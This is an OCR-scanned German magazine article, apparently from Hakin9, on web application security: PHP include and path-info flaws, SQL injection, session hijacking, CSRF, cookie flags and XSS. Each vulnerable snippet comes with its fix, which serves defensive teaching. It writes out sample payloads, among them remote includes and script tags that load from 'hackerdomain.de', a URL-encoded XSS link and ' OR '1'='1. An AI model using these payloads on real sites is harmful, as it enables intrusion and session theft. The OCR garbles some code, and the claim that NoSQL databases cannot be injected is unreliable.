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SICHERHEIT VON
WEBANWENDUNGEN

JOHANNES HOPPE

Es ist ein enormer Aufwand eine kompromittierte Website nachtra-
glich auf ihre Sicherheit zu prufen. Die Kenntnis Uber bekannte
Schwachstellen vermeidet hingegen Fehler bereits wahrend der En-

twicklung.

Webanwendungen verfasste, hatte ich die Hoffnung,

dass zukinftige Frameworks die Hurden fiir ein uner-
winschtes Eindringen stetig erhohen wirden. Ein Blick zurtick
auf 10 rasante Jahre im Internet zeigt allerdings: Mit neuen
Technologien sind auch neue Mdglichkeiten zum Eindringen
entstanden und zuséatzliche stehen viele altbekannte Scheu-
nentore weiterhin offen. [1]

Q Is ich im Jahr 2002 eine Ausarbeitung zur Sicherheit von

Eingrenzung

Eine umfassende Sicherheitsarchitektur sollte den Webserver,
das Betriebssystem, und falls vorhanden den Application Ser-
ver, das Application Gateway, die relevanten Firewalls und die
demilitarisierte Zone (DMZ) betrachten. Die Bereitstellung und
Wartung dieser Infrastruktur wird tblicherweise im Dialog von
einer IT-Abteilung und einer Entwicklungsabteilung tibernom-
men. Dieser Artikel beleuchtet die Bereiche, die bei einer sol-
chen Arbeitsteilung im Hoheitsgebiet der Entwicklungsabteilung
liegen.

Altbekannte PHP-Schwachstellen

Im Jahr 2002 war die Skriptsprache PHP in der Version 4 ak-
tuell. Leider waren einige Konzepte sehr unsicher und muss-
ten nachtraglich per Konfigurationsdatei geandert werden. Da
die meisten Skripte mit erhdhten Sicherheitseinstellungen nicht
korrekt liefen, belieRen viele Hoster es bei der niedrigsten Si-
cherheitsstufe — teilweise bis heute. Auch der so genannte
"Safe Mode", welcher viele Funktionen auf das Dateisystem
einschrankt, hatte sich aufgrund seiner Inkompatibilitat mit exis-
tierender Software nie wirklich durchgesetzt.

PHP: Globale Variablen

Eine sehr unglickliche Designentscheidung der Sprache war
das Feature der "automatisch globalen Variablen". (php.ini:
register_globals = on). In der Standardeinstellung wurde fir
alle Werte, die Uber GET, POST oder Cookie ubertragen wur-
den, automatisch eine Variable im globalen Gliltigkeitsbereich

erstellt. Das folgende naive Skript ist dazu gedacht, Uber die
Adresse:

quelltext.php?pass=hallo

aufgerufen zu werden.

Listing : Automatisch globalen Variable - Fehlerhaftes Skript
if ($pass == "hallo") S$auth = 1;

if ($Sauth == 1) echo "Dies ist ein geheimer Text!";

Der Programmierer geht davon aus, dass die Variable $auth
solange leer bleibt, bis ein Wert gesetzt wird. Doch folgender
Aufruf der Seite wiirde den Passwortschutz sinnlos machen:

passwort.php?pass=mir_egal&auth=1
Egal, welchen Wert die Variable $pass bekommt, $auth wird
schon zum Start des Programms auf 1 stehen. Neben der De-

aktivierung der alten Standardeinstellung wiirde auch eine vor-
herige Initialisierung der Variable die Liicke beheben.

Listing : Automatisch globalen Variable - Korrigiertes Skript

Sauth = 0;
if ($pass == "hallo") Sauth = 1;
if ($Sauth == 1) echo "Dies ist ein geheimer Text!";)

PHP: $_SERVER Variablen

Auf den ersten Blick scheint folgende Zeile aus dem Open-Sour-
ce Shop-System osCommerce keinen grof3en sicherheitsrele-
vanten Schwachpunkt zu beinhalten. Ebenso wird die Variable
$redirect ordnungsgeman initialisiert.
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Listing : Auszug aus der Datei application_top.php von
osCommerce v2.2 RC2 (gekdirzt)

if (!tep session_is registered('admin')) {

$redirect = false;
$current_page = basename($_SERVER['PHP_SELF']);
if (Scurrent page != FILENAME LOGIN) {

Sredirect = true;

if ($redirect == true) {

tep redirect (tep href link(FILENAME LOGIN))

Diese Zeilen werden mit jedem Seitenaufruf im Admin-Bereich
ausgefuhrt. Zweck ist es, jeden nicht eingeloggten Benutzer
zwangsweise zur Login-Seite weiter zu leiten und damit einen
unberechtigten Zugriff zu verhindern. Jedoch war genau dieser
Code im August 2011 die Grundlage fur einen massenhaften
Angriff auf Online-Shops, bei dem laut Heise-Security weltweit
4,5 Millionen und deutschlandweit 160.000 Seiten betroffen wa-
ren. [2] Die Prufung konnte ausgehebelt werden, indem etwa
die Adresse

http://shop.de/admin/file manager.php
durch folgenden Aufruf manipuliert wurde:
http://shop.de/admin/file manager.php/login.php

Méglich wird diese Irreflihrung aufgrund der Apache-Direktive
"AcceptPathinfo", welche zusatzliche Pfadangaben akzeptiert
und normalerweise ein simples URL-Rewriting ohne das Modul
"mod_rewrite" ermdglicht. Das gezeigte Skript Iasst sich recht
einfach durch den Einsatz des von s_server['scripr nave'] KOr-
rigieren. Aber statt einer eigenen Losung empfiehlt es sich drin-
gend, Funktionalitdten wie Authentifizierung und Autorisierung
von einem Standardframework (etwa das Zend Framework oder
CakePHP) realisieren zu lassen. Dort finden sich vergleichbare
Fehler seltener. Alle Variablen aus $ SERVER sollten zudem
als gefahrlich eingestuft werden, da viele von ihnen zusétzlich
fur XSS anfallig sind! Mehr dazu spater.

PHP: Funktionen, die das Dateisystem verwenden
In PHP gehdrt es zum Design der Sprache, Dateien zur Laufzeit
nachzuladen und anschlieRend als Code zu interpretieren. Dies
geschieht etwas mit den Befehlen "include™ und "require":

Listing : Unsicheres Include

$datei = $ REQUEST['file'];

include $datei;

Diese Zeilen beherbergen ein enormes Risiko. Egal wie ein-
ladend einfach es ist: Verwenden Sie niemals den Wert fir ei-
nen include-Befehl aus einer externen Quelle, etwa durch den
Aufruf von
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unsicher.php?file=test.php
Es ist offensichtlich, dass der Aufruf von
unsicher.php?file=../../admin/config.php

nicht in unserem Sinne sein wird. Die hier gezeigte Manipu-
lation der Pfadangabe nennt man auch Directory Traversal.
Bedenkenswert ist zusatzlich die Tatsache, dass der inclu-
de-Befehl zum einen Schwierigkeiten mit dem Nullbyte ("\0")
hat und zum anderen sorglos entfernte Dateien akzeptiert.
Folgender Aufruf wird in der Standardkonfiguration problem-
los funktionieren:

unsicher.php?file=http://hackerdomain.de/evil.php

Ein erster Ansatz konnte sein, den Wert fur die Variable zu va-
lidieren.

Listing : Eine primitive Validierung

if (preg match('°\.\.|\x00|\.php|http://|£ftp://°i', S$datei)) {
die ('<hl>Nicht erlaubt!</hl1>");

Dass trotz aller Vorsicht eine Validierung immer wieder fehl-
schlagen kann und wird, zeigte sich im November 2011 als
Heise Security Uber massenhaft infizierte WordPress-Blogs
berichtete. [3] Konkret ging es um ein handliches Skript, wel-
ches Vorschaubilder erstellt und Bestandteil von vielen Word-
Press-Themes war. Der Autor hatte eine Validierung bedacht
und nur Domains von einer Whitelist erlaubt. (z.B. "flickr.com™)

timthumb.php?src=http://farm3.static.flickr.com/2340/208950
4883_863fbllbla_z.jpg

Unglucklicherweise war es ebenso mdglich, folgenden Aufruf
durchzuflhren:

timthumb.php?src=http://flickr.com.hackerdomain.de/evil.php

Das Skript lud daraufhin die PHP-Datei in ein 6ffentlich erreich-
bares Cache-Verzeichnis. Von dort aus konnte die Datei von
jedermann ausgefihrt werden.

All input is evil

Das Verhalten jeder Software ergibt sich aus dem zur Verfu-
gung gestellten Input. Der Input bestimmt ultimativ wie das
Programm arbeitet und ob es dabei gewollte oder schadhaf-
te Operationen vollzieht. "All input is evil until proven other-
wise", dieser bekannte Spruch aus "Writing Secure Code"
[4] bringt es auf den Punkt. Solange nicht bewiesen ist, dass
die eintreffenden Benutzereingaben ungefahrlich sind, sollten
sie als gefahrlich eingestuft werden. Die vorgestellte primitive
Validierung ist ein solcher Beweis. Sie steht beispielhaft fiir
das Konzept des Blacklistings:

"Alles erlauben, was nicht ausdriicklich verboten ist".
Doch dieser Ansatz kann dazu fiihren, dass man sich in einer
Anhaufung von einschrankenden Regeln verliert. Im Gegensatz
dazu existiert das gegenséatzliche Konzept des Whitelistings:
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"Alles verbieten, was nicht ausdriicklich erlaubt ist".

Viele Security-Untiefen lassen sich durch diesen Paradigmen-
wechsel elegant umschiffen. Fir das Beispielskript kann dies
eine Liste mit erlaubten Dateinamen sein:

Listing : Sicheres Include

Serlaubte seiten = array("home", "blog", "links", "news");

$id = $ REQUEST['id'];

if (isset (Serlaubte seiten[$id])) {
$datei = Serlaubte seiten([$id].'.php';
} else {
$datei= "home.php";
}

include $datei;

SQL Injections

Unabhéangig von der verwendeten Skript- bzw. Programmier-
sprache sind so genannte SQL-Injections, welche eine erhebli-
che Bedrohung fiir die Sicherheit von Webanwendungen sind.
Wann immer Benutzereingaben fiir eine Datenbankabfrage wei-
terverwendet werden, muss unbedingt auf die Existenz von Me-
tazeichen wie Anfuhrungszeichen, Apostroph, Semikolon oder
Backslash geprift werden bzw. miissen diese maskiert werden.
Wie leicht sonst ein schwerwiegender Fehler entsteht, zeigt ein
Beispiel.

Gegeben sei eine Tabelle, welche Benutzernamen und
Passwort fur einen Login-Prozess beinhaltet. Um ein
perfektes Anti-Beispiel vorzustellen, sind selbstverstandlich
alle Passworter im Klartext gespeichert!

ID Benutzer Passwort
1 admin geheim
2 gast gast22

Mit folgender Zeile PHP-Code kdnnte man ein passendes
SQL-Statement zusammensetzen, welches die Variablen $user
und $pass verwendet.

Listing : Konkatenation von Strings

Squery = sprintf ("SELECT COUNT (ID) FROM logins

WHERE Benutzer='admin' AND Passwort='geheim'

Wenn sich der Admin mit dem Passwort "geheim" einloggt,
wird folgender String zur Datenbank gesendet:

Listing : SQL-Statement

SELECT COUNT (ID) FROM logins

WHERE Benutzer= "admin" AND Passwort="geheim"

Das Query lautet Ubersetzt: Zahle die Ergebnisse, bei denen der
Benutzer gleich "admin" und wo das Passwort gleich "geheim™"

ist. Ist das Ergebnis gréRer Null, so ist der Nutzer berechtigt. Fir
das Eindringen in die geheime Seite wirde ein Angreifer indes
nicht nur alphanumerische Zeichen fiir Benutzer und Passwort
verwenden, sondern z.B

'OR "1'="1

eingeben. Die Anfrage fir die Datenbank lautet dadurch:

Listing : SQL-Statement mit Injection

SELECT COUNT (ID)
WHERE Benutzer=''"

FROM logins
OR 'l'='l' AND Passwort='"' OR '1l'='1"

Das Query lautet nun Ubersetzt: Zahle die Ergebnisse, bei de-
nen der Benutzer leer ODER wo 1 gleich 1 ist (was immer wahr
ist) und wo das Passwort leer ODER wo 1 gleich 1 ist (was im-
mer wahr ist). Dieses manipulierte Statement wird immer eine
Zahl groRer als Null ausgeben, wodurch der Passwortschutz
ausgehebelt ist. Mit geschickten Statements und ein paar Ver-
suchen kann man durch SQL-Injections unter anderem den In-
halt der Datenbank ausspahen, Daten manipulieren, je nach
Datenbank Systembefehle ausfiihren oder bei nicht vorhande-
nem Skrupel ein paar DROP-Statements ausflihren.

Als Gegenmallnahmen empfiehlt es sich einerseits
Benutzereingaben intensiv zu validieren und andererseits
die gefahrlichen Metazeichen zu maskieren. Hierzu bieten
alle Datenbankschnittstellen in allen Programmiersprachen
entsprechende Methoden an. In PHP kann man hierfir die
Methode mysql_real _escape_string verwenden.

Listing : Maskierung von Metazeichen

Squery = sprintf (
"SELECT COUNT (ID) FROM logins WHERE Benutzer='%s'
AND Passwort='%s'",
mysql real escape string($user)
mysql_real escape string($password)

)i

Ein Problem wird es aber immer sein, bei einer gréReren
Code-Basis und gar einer "historisch wachsenden" Applika-
tion mit mehreren Generationen an Entwicklern die Einhaltung
dieser MaRnahme zu garantieren. Elegant umgeht man die-
ses Dilemma, wenn man seine Statements nicht "per Hand
zusammenschustert", sondern parametrisierte SQL-Abfragen
oder gleich einen Objektrelationalen Mapper (ORM) verwen-
det. In den meisten Fallen wird dies zudem die Qualitat und
Lesbarkeit des Codes steigern. Ganz befreit von SQL-Injec-
tions ist man hingegen, wenn man eine der vielen NoSQL-Da-
tenbanken wie z.B. MongoDB, CouchDB, RavenDB oder Re-
dis verwendet. Diese sind aus naheliegenden Grinden immun
gegenuber SQL-Injections und kennen keine vergleichbaren
Schwachstellen.

Parametrisierte SQL-Abfragen

Gegen dynamisch zusammengestellte SQL-Statements sprechen
viele Griinde. Sie sind anfallig fir SQL-Injections, bindre Daten sind
schwierig einzufiigen und die Ubersichtlichkeit ldsst zu wiinschen
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Ubrig. Definiert man hingegen Platzhalter im SQL-Statement und
verwendet parametrisierte Abfragen, so ist man gegen SQL-Injec-
tions gewappnet. Sofern Datenbank und Datenbankschnittstelle
so genannte Prepared Statements unterstiitzen, wird diese Art der
Abfrage auch eine hohere Performance erzielen.

Listing : Parametrisierte SQL-Abfrage in PHP (mit MySQL Improved
Extension)

$stmt->prepare ("SELECT COUNT (ID)
FROM logins WHERE Benutzer=? AND Passwort=?");

$stmt->bind param("s", Suser);
$stmt->bind param("s", S$password);

$stmt->execute () ;

$stmt->bind result ($result);
$stmt->fetch () ;

Listing : Parametrisierte SQL-Abfrage in Java (mit Hibernate)

List result = session.createQuery ("SELECT COUNT (ID)

FROM logins WHERE Benutzer=:user AND Passwort=:password")
.setParameter ("user", user)
.setParameter ("password", password)

Llist ()
Listing : Parametrisierte SQL-Abfrage in C#/.NET (mit ADO.NET)

SglCommand cmd = new SglCommand ("SELECT COUNT (ID) FROM logins
WHERE Benutzer=@user AND Passwort=@
password", connection);

cmd.Parameters.AddWithValue ("Quser", user);

cmd.Parameters.AddWithValue ("@password", password);

SqlDataReader reader = cmd.ExecuteReader();

Session Hijacking

Als das World Wide Web erdacht wurde, hatte man den Aus-
tausch von HTML-Dokumenten und anderen Inhalten zwischen
Client und Server im Sinn. Hierfiir eignet sich das zustandslo-
se bzw. sitzungsfreie Design vom Hypertext Transfer Protocol
(HTTP) sehr gut. Bei jeder Anfrage zum Server sieht HTTP es
vor, dass der Server den Client nicht wieder erkennt. Dass man
heutzutage ganze Desktop-Anwendungen ins Web bringt, war
so nicht gedacht. Es ist flir moderne Websites sehr kontrapro-
duktiv, den aktuellen Benutzer auf einer Website bei jedem Sei-
tenaufruf wieder "zu vergessen". Woher soll man z.B. wissen,
welche Rechte der Nutzer hat oder welche Daten er bereits ge-
sehen hat. Seit es interaktive Websites gibt, versucht man daher
den Benutzer seitenlbergreifend zu identifizieren um eine fort-
wahrende Sitzung (Session) zu gewahrleisten. Dies geschieht
im Prinzip immer gleich:

Der Server generiert eine eindeutige Nummer oder
Zeichenkombination, die von einer auf3enstehenden Person
nicht zu erraten ist. Diesen Identifikator (im Folgenden kurz ID
genannt) muss der Client bei jeder Anfrage vorzeigen, so dass
er immer wieder eindeutig identifiziert werden kann. Dadurch
dass der Client nun stets eindeutig identifizierbar ist, kann der
Server weitere Daten zur entsprechenden ID vermerken. Eine
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fortwahrende Sitzung ist ermdglicht. Den Knackpunkt stellt
die Ubermittlung der ID dar. Sobald ein Angreifer diese ID
erfahrt, kann er sich als der urspriingliche Nutzer ausgeben
und somit dessen Sitzung mitsamt seinen Benutzerrechten
Ubernehmen. Dies gilt es zu verhindern.

Im Jahr 2002 hat man haufig eine sehr simple aber auch
fragile Lésung gewahlt. Bei jeder Anfrage zum Server wurde
die Session-ID mit an die Anfrage als Parameter hinzugefugt.
So verlinkte man nicht auf

beispiel.php
sondern auf

beispiel.php?
PHPSESSID=9b2cb2c8ledc54alfd6a02b82597acad

Es war ein Kinderspiel solche Session-IDs zu erbeuten. Von
jeder Seitenanfrage zur nachsten Gbermittelt der Browser den
so genannten Referrer (die zuletzt besuchte Seite). Sobald ein
Link von der angegriffenen Seite zu einer dem Angreifer geho-
renden Website geklickt wurde, musste ein Angreifer nur noch
seine Logdateien auswerten. Diese Technik kennt viele Ab-
wandlungen. So funktioniert ein Referrer auch bei Bildern, die
von einem entfernen Server geladen werden. Vor allem Foren,
wo man haufig Bilder austauscht, waren in der Vergangenheit
oft vom Session Hijacking betroffen. Es reichte aus, dass der
Admin ein Bild betrachtete.

Zum Gliick findet man diese Art der Ubertragung der
ID heute immer seltener. Hier hat sich die Sicherheitslage
bedeutend gebessert. Als einfacherer und zugleich sichererer
Weg hat sich die Ubertragung der ID per Cookie-Header
herausgestellt. Guter Rat ist daher hier einfach: Transportieren
Sie niemals die Session-ID per GET oder POST! Cookies
werden heutzutage nicht mehr argwoéhnisch vom Anwender
begutachtet. Jeder normale Nutzer wird Cookies einfach per
Browser-Voreinstellung akzeptieren. Achten Sie Ubrigens auch
darauf, dass die ID ausschlief3lich vom Server generiert wird!
Eine in diesem Artikel oft gescholtene Skriptsprache lasst sich
auch hier leider leicht austricksen. (Stichwort: Session Fixation)

Cross-Site Request Forgery (CSRF)

Sehr verwandt mit dem Session Hijacking ist der CSRF-Angriff.
Hier versucht ein Angreifer jedoch nicht die Session direkt zu
Ubernehmen, sondern den Browser eines Nutzers mit hdheren
Privilegien fur die eigenen Zwecke zu "missbrauchen". Dies
wird dadurch mdglich, dass die Sitzung durch einen Cookie
bestimmt wird. Dieser Cookie hat eine Lebenszeit, die oft so
definiert ist, dass der Cookie auch nach dem SchlieRen des
Browserfensters weiter existiert. Man stelle sich vor, dass ein
Administrator einer Seite noch per Cookie eingeloggt ist bzw. in
einem anderen Tab die entsprechende Seite gerade offen hat.
Der Administrator bekommt einen Link zugesendet, womaoglich
per Twitter — wobei der Link per URL-Shortener gekuirzt wurde.
Der Administrator klickt den Link an und sieht eine unscheinbare
Seite. Hier existiert allerdings ein verstecktes Bild, welches auf
http://adminseite.de/admin/deleteUser?id=1 verlinkt. Da der Ad-
ministrator immer noch per Cookie eingeloggt ist, wird das Er-
gebnis dieses Seitenbesuchs sehr destruktiv sein. Womdglich
existiert auch ein Formular zum Bearbeiten von Inhalten. In
diesem Fall wiirde ein vorbereitetes JavaScript einen Formu-
larversand zur Administrationsseite initialisieren. Auch dies ist
technisch leicht realisierbar. Zu allem Uberfluss sind vor allem
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Blogs und Foren durch fremde Benutzerinhalte sehr geféhrdet,
so dass fir einen erfolgreichen CSRF-Angriff in diesen Fallen
nicht einmal immer eine fremde Seite notwendig ist.

Dies ist eine Liste von Malnahmen, die in sinnvoller
Kombination ein CSRF verhindern kénnen:

* Den Referrer prifen

» Die URL fur GET-Anfragen nicht vorhersagbar machen
(hierfur kann eine zweite Session-ID verwendet werden)

* An kritischen Stellen um eine Bestatigung fragen und ide-
alerweise das Passwort erneut abfragen (so machen es
z.B. Amazon und PayPal)

+ Einmalige IDs in Formulardaten verwenden (z.B. aus
ASP.NET MVC das "AntiForgeryToken™")

Sichere Cookies

Neben der eigentlichen Nutzlast sieht es HTTP vor, weitere In-
formationen Uber Headerfelder zu versenden. Auch Cookies
wurden als ein solches zusatzliches Headerfeld standardisiert.
Sie wurden geschaffen, um den Limitation des zustandslosen
HTTP zu begegnen. Sowohl Server als auch Client sind aktiv
bei dem Austausch von Informationen Uber Cookies involviert:

Listing : Server fordert zum Speichern von zwei Cookies auf

HTTP/1.1 200 OK

Content-type: text/html

Set-Cookie: Lieblingsfarbe=blau

Set-Cookie: PHPSESSID=9b2cb2c8ledc54alf46a02b82597acad

Der Browser sollte daraufhin bei jeder weiteren Anfrage die
Cookies wieder vorzeigen.

Listing : Client zeigt Cookies wieder vor

GET /beispiel.php HTTP/1.1

Host: www.example.com

Cookie: Lieblingsfarbe=blau;
PHPSESSID=9b2cb2c8ledc54alf46a02b82597acad

Wie man sehen kann, sind Cookies lediglich einfache Key/
Value-Paare, die beliebige Strings enthalten konnen. Eines die-
ser Paare kann die Session-ID beinhalten, man ist jedoch nicht
darauf beschrankt. Ein Problem besteht darin, dass die Kontrol-
le Uber die zuriickgesendeten Daten allein in der Verantwortung
des Browsers liegt. So kann man mit der JavaScript-Eigenschaft
document.cookie stets den Inhalt der Cookies auslesen oder
manipulieren. Diese Manipulation kann ein wichtiges Bindeglied
in einer Reihe von Aktionen sein, die in ihrer Kombination ei-
nen erfolgreichen Hack ausmachen. Mit dem Beispiel aus dem
vorherigen Listing macht man es einem potentiellen Angreifer
zu einfach. Daher sollte man sich das Format zum Setzen von
Cookies genauer anschauen:

Listing : Syntax von Set-Cookie

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure] [; HttpOnly]

Verschiedene MalRhahmen kdnnen hierdurch umgesetzt wer-
den, um die Handlungsfahigkeiten eines Angreifers einzu-
schranken. Dies funktioniert mit allen gangigen Web-Frame-
works. Das Prinzip ist hierbei stets gleich.

e Zum Wert: Speichern Sie keine sensiblen Daten im Cookie,
dies gilt besonders fiir Passworter. Speichern Sie keine
Berechtigungen im Cookie (z.B. "isAdmin", oder "acces-
sAllowed"). Verschlisseln Sie den Inhalt von Cookies, so-
fern dieser nur serverseitig ausgewertet wird.

e Zu Max-Age / Expires: Limitieren Sie die Lebenszeit der
Cookies auf eine moglichst kurze Zeitspanne und setzen
Sie wahrend einer Sitzung den Wert lieber mehrfach neu.

e Zur Domain: Teilen Sie Cookies nicht mit Subdomains.
Verwenden Sie "www.example.com" statt ".example.
com", da sonst der Cookie fiir alle Subdomains gilt.

e Zum Pfad: Limitieren Sie den Zugriff auf die notwendige
Anwendung in einem Unterverzeichnis (z.B. "/forum").

e Zu Secure: Verwenden Sie nach Moglichkeit diese Opti-
on, so dass Cookies ausschlieRlich abhorsicher Gber SSL
versendet werden kdnnen.

e Zu HttpOnly: Verwenden Sie dieses Option, um den Zu-
griff iber JavaScript eingeschrankt — aber verlassen Sie
sich nicht auf eine Unterstiitzung durch den Browser!

Cross-Site Scripting (XSS)

Die meisten Sicherheitsllicken auf Webseiten basieren auf dem
Prinzip des Cross-Site Scripting. Eigentlich musste die Methode
mit "CSS" abgekirzt werden, gabe es nicht eine Doppeldeu-
tigkeit mit dem Akronym fir Cascading Style Sheets. Es wird
hierbei versucht, den Browser eines Anwenders dazu zu brin-
gen, ein schadhaftes JavaScript auszufihren. Sobald ein An-
greifer seinen JavaScript-Code platziert hat, kann er durch des-
sen Hilfe beliebige Aktionen durchfiihren — unter anderem den
Inhalt des Cookie mit der Session-ID stehlen oder bedrohliche
Aktionen auf der Webseite durchfiihren. Es wird zwischen drei
Arten unterschieden: reflektiertes, persistentes und DOM-ba-
siertes XSS. [5]

Reflektiertes XXS geschieht immer da, wo Werte aus
den vorherigen Operationen erneut angezeigt werden. Dies
ist haufig bei Fehlermeldungen der Fall. Ein Beispiel ist ein
fiktiver Registrierungsprozess, welcher folgende Nachricht
anzeigt.

Der Benutzername Peter ist bereits vergeben!

Unangenehm wird es, wenn man sich nicht mit dem Namen
Peter sondern mit dem Namen

<script src=hackerdomain.de/script.js></script>

anmeldet. Hat man als Entwickler keine Vorkehrungen getrof-
fen, so wird der Browser ein gefahrliches Quelltextfragment vom
Server erhalten:

Listing : Quelltextfragment mit XSS

Der Benutzername
'<script src=http://hackerdomain.de/script.js></script>'

ist bereits vergeben!

Der Browser wird ohne Beschwerden das Script von der frem-
den Seite laden und ausfihren. Natlrlich ist es recht frucht-
los, als Angreifer sich selbst mit eigenem JavaScript-Code zu
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kompromittieren. Ahnlich wie beim CSRF muss man daher
als Angreifer versuchen, das Opfer durch Tricks dazu zu brin-
gen, vorab eine praparierte Seite aufzurufen oder eine andere
Handlung zu vollziehen. Im Einstieg dieses Artikels wurde kurz
"PHP_SELF" angesprochen. Haufig sieht man leider Formu-
lare, die wie folgt aufgebaut sind.

Listing : Unsicheres Formular

<form action="<?php echo $ SERVER['PHP SELF']; ?>"
method="post">
<!-- Inhalt -->

</form>

Es wurde bereits erlautert, dass PHP_SELF nicht zwingend den
aktuellen Dateinamen enthalten muss. Stellen Sie sich vor, man
wirde arglos folgenden Link anklicken:

http://opferdomain.de/formular.php/%$22%3E%3C/
form%3E%3Cscript%3Ealert ($27gehackt!%27)%3C/script%3E

bzw. leichter lesbarer ohne URL-Encoding:

http://opferdomain.de/formular.php/

"></form><script>alert ('gehackt!')</script>

Der Browser wiirde in diesem Fall vom Server folgendes HTML-
-Fragment zugesendet bekommen:

Listing : Formular mit XXS

<form action="></form><script>alert ('gehackt!')</script>"
method="post">
<!-- Inhalt -->

</form>

Durch das doppelte Anfiihrungszeichen """ ist der Code aus
dem eigentlichen HTML-Element ausgebrochen, hat das of-
fene Form mit "</form>" geschlossen und anschlieRend ein
JavaScript-Tag definiert. Erneut wird der Browser den fremden
Code ausfihren.

Bei persistentem XSS verhalt es sich ahnlich. Das Wort
"Persistenz" beschreibt die Tatsache, dass Daten mit gefahr-
lichen Zeichenfolgen fortdauernd auf dem Server gespeichert
werden. Dies ist z.B. der Fall, wenn man den Benutzernamen
aus dem Anfangsbeispiel tatsachlich abspeichern kann. Als An-
wender der anfélligen Website ist man bereits dann von der
Sicherheitsliicke betroffen, wenn man eine Seite mit der Auf-
listung aller Benutzernamen betrachtet. Haufig haben persis-
tente XSS-Angriffe eine hohe Durchschlagskraft, da sie keine
Zwischenseiten oder aktive Handlungen eines einzelnen Benut-
zers bendtigen und stattdessen im Browser von vielen Nutzern
innerhalb kurzer Zeit ausgefiihrt werden.

All data is evil

Es wurde bereits angesprochen, dass man keinem Input trauen
sollte. Der Input ist solange bdse bis das Gegenteil bewiesen
wurde. Zu dieser Menge an Input gehéren unter anderem Be-
nutzereingaben oder Daten von Webservice-Schnittstellen. Das
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sind klar erkennbar Daten, welche die Grenze zwischen vertrau-
enswiurdigen und ungesicherten Umgebungen Uberschreiten.
Um dem Problem von Cross-Site Scripting zu begegnen,
darf man beim Erzeugen von HTML-Output zusatzlich keinen
eigentlich vertrauenswirdigen Quellen wie der eigenen Da-
tenbank vertrauen. Es ist zu kurz gegriffen, sich auf eine Vali-
dierung von eingehenden Daten zu verlassen und dann von ei-
nem sauberen Datenstand auszugehen. Bei jedem erzeugten
HTML-Fragment sollte man vorab beratschlagen, welche Zei-
chen unverandert bendtigt werden, welche gefiltert und welche
maskiert werden sollten. Hierflr gibt es in allen Web-Frameworks
vorbereitete Methoden. In PHP kann man hierfiir die Methode
htmispecialchars verwenden, um die Sonderzeichen "&", """ (dop-
peltes Anfiihrungszeichen) sowie "<" und ">" (kleiner als, grofer
als) zu maskieren. In ASP.NET MVC verwendet man etwa statt

Listing : Unsicheres ASP.NET MVC

Der Benutzername '<%= Model.Benutzername %>'

ist bereits vergeben!

folgende ungefahrliche Syntax:

Listing : Sicherers ASP.NET MVC

Der Benutzername '<%$= Server.HtmlEncode

(Model.Benutzername) %>' ist bereits vergeben!

Seit ASP.NET MVC Version 3 existiert auch ein komfortabler
Shortcut fir die sichere Ausgabe von Daten.

Listing : Sicheres ASP.NET MVC 3

Der Benutzername '<%: Model.Benutzername %>'

ist bereits vergeben!

In beiden Fallen wird das Gleiche entscharfte HTML-Fragment
zum Browser gesendet.

Listing : Quelltextfragment mit entschdrftem XSS-Versuch

Der Benutzername '&lt;script src=hackerdomain.de/

script.js&gt;&lt;/script&gt;' ist bereits vergeben!

DOM-basiertes XSS

Die beiden vorherigen Varianten von Cross-Site Scripting be-
nétigten noch eine Mitwirkung von Server. Dies ist bei dem
DOM-basierten XSS nicht mehr der Fall. DOM steht fir "Do-
cument Object Model" und ist die Schnittstelle, Gber die man mit
JavaScript das aktuelle HTML-Dokument verandern kann. Der
Name dieser Variante beschreibt die Tatsache, dass bei dieser
Manipulation einiges schief gehen kann.

Je mehr "Web 2.0" in einer Seite steckt, desto mehr Logik
wird auch per JavaScript im Browser ausgefiihrt. Da Webseiten
immer mehr Interaktivitat bieten, wird auch die Bedeutung die-
ser Angriffsart zunehmen. Typische Angriffsvektoren basieren
unter anderem auf folgenden Einstiegspunkten: [6]

* Methoden von document, wie document.write(), document.
writeln(), document.attacheventy()...
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* element.innerHTML

« eval()

+ setinterval() und setTimeout()

* onMouseOver, onMouseOut, onMouseDown, onError...

Jede dieser aufgelisteten Methoden und Attribute soliten
Sie nie direkt verwenden! Die Methoden koénnen leicht miss-
brauch werden, um fremden JavaScript Code auszuflihren. Als
Beispiel sei die Methode document.write genannt, welche in
vielen alteren Anleitungen immer wieder zu finden ist. So wird
folgende HTML-Seite den Text "Hallo Hakin9!" ausgeben:

Listing : Unsicheres Einfiigen von Test mit document.write

<!DOCTYPE html>
<script>var name = "Hakin9";</script>

Hallo <script>document.write (name);</script>!

Solange die Variable nur den String "Hakin9" beinhaltet, ist
alles in Ordnung. Schafft es aber ein Angreifer, den Inhalt des
Strings auf

<script src=hackerdomain.de/script.js></script>

zu andern, so ist erneut die Sicherheit der Website gefahrdet.
Wie beim reflektierten XSS wird auch hier das fremde Skript
geladen und ausgefiihrt. Es bietet sich dringend an, ein Java-
Script-Framework wie jQuery zu verwenden. Dies erhoht nicht
nur die Sicherheit, sondern erlaubt auch eine saubere Trennung
von Logik und Anzeige.

Listing : Sicheres Einfiigen von Text mit jQuery

<!DOCTYPE html>

<script src="http://code.jquery.com/jquery.js"></script>

<script>

$ (function() {

var name = "Hakin9";

S('#name') .text (name) ;
1 i

</script>

Hallo <span id="name">!

Stellen wir uns vor, dass eine Website Daten im JSON-Format
empfangt und diese anschlielend weiter verwendet. Ein Daten-
satz konnte z.B. wie folgt aussehen:

Listing : Daten im JSON-Format

{
gy il

"user": "Hakin9"

Das JavaScript aus dem nachfolgenden Listing verwendet nur
Browser-Boardmittel um den Inhalt per Dialogboxen anzuzei-
gen. Um den im JSON-Format codierten String in ein Java-
Script-Objekt umzuwandeln, wendet es den unsicheren Befehl
eval() an.

Listing : Unsichere Verwendung von eval() zum Parsen von Daten im
JSON-Format

<script>
var xmlHttp = xmlHttp = new XMLHttpRequest ();
xmlHttp.open ('GET', '/data', true);
xmlHttp.onreadystatechange = function () {
if (this.readyState == 4) {
var data = eval(" (" + this.responseText + ")");
alert

}

(data.user);

}i
xmlHttp.send (null) ;

</script>

Es wird dabei folgende Code ausgefihrt:

eval (" ({"id": 1, "user": "Hakin9" })")

Die zusatzlichen runden Klammen bestimmen eine Expressi-
on um das entstandene Objekt. Diese Schreibweise ist aqui-
valent zu:
eval ("return { "id": 1, "user": "Hakin9" })")

Der Riickgabewert kann nun der Variable data zugewiesen wer-
den. Die Runden Klammern sind kein groRes Hindernis, wenn

man die Daten bewusst verandert.

Listing: Kompromittierte Daten

{ alert ("gehackt!"); })(

function ()

Eval erhalt nun den String:

